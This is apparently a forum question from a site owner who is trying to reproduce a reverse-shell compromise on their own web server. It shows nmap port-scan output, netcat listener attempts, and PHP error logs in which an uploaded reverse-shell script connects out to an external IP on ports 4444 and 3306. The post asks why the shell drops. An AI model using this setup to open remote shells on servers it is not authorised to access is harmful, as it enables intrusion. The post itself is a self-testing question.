-1

Recently my website was hacked. Luckily the hacker did not have any bad intentions and even left contact information. I contacted him to ask how he did it and he told me he create a reverse shell. I asked my hosting provider to do something about it but they are not bothered saying it was my website's code that was vulnerable and hence my responsibility.

I am intrigued by this and want to try and do it myself to find out the vulnerability. I've found a php reverse shell script that I'm trying to use. Since I have access to the server, I've uploaded it myself for now and just want to focus on creating the reverse shell. I used nmap on the ip and got this result:

Discovered open port 21/tcp on xxx.xx.xx.xxx
Discovered open port 143/tcp on xxx.xx.xx.xxx
Discovered open port 993/tcp on xxx.xx.xx.xxx
Discovered open port 110/tcp on xxx.xx.xx.xxx
Discovered open port 587/tcp on xxx.xx.xx.xxx
Discovered open port 995/tcp on xxx.xx.xx.xxx
Discovered open port 3306/tcp on xxx.xx.xx.xxx
Discovered open port 443/tcp on xxx.xx.xx.xxx
Discovered open port 25/tcp on xxx.xx.xx.xxx
Discovered open port 80/tcp on xxx.xx.xx.xxx
Discovered open port 465/tcp on xxx.xx.xx.xxx

Then I used netcat to listen on few ports like 1234 or 4444 or 2727 but they give me this error:

WARNING: Failed to daemonise. This is quite common and not fatal.
Warning: fsockopen(): unable to connect to 198.46.87.211:4444 (Connection refused) in /home/xxxxxx/public_html/php-reverse-shell.php on line 100
Connection refused (111) 

I also tried port 3306 which gave me

WARNING: Failed to daemonise. This is quite common and not fatal. Successfully opened reverse shell to 198.46.87.211:3306 ERROR: Shell connection terminated 

while having netcat listening on the port. What am I doing wrong here? Was it successful on 3306?

Your Answer

By clicking "Post Your Answer", you acknowledge that you have read our updated terms of service, privacy policy and cookie policy, and that your continued use of the website is subject to these policies.

Browse other questions tagged or ask your own question.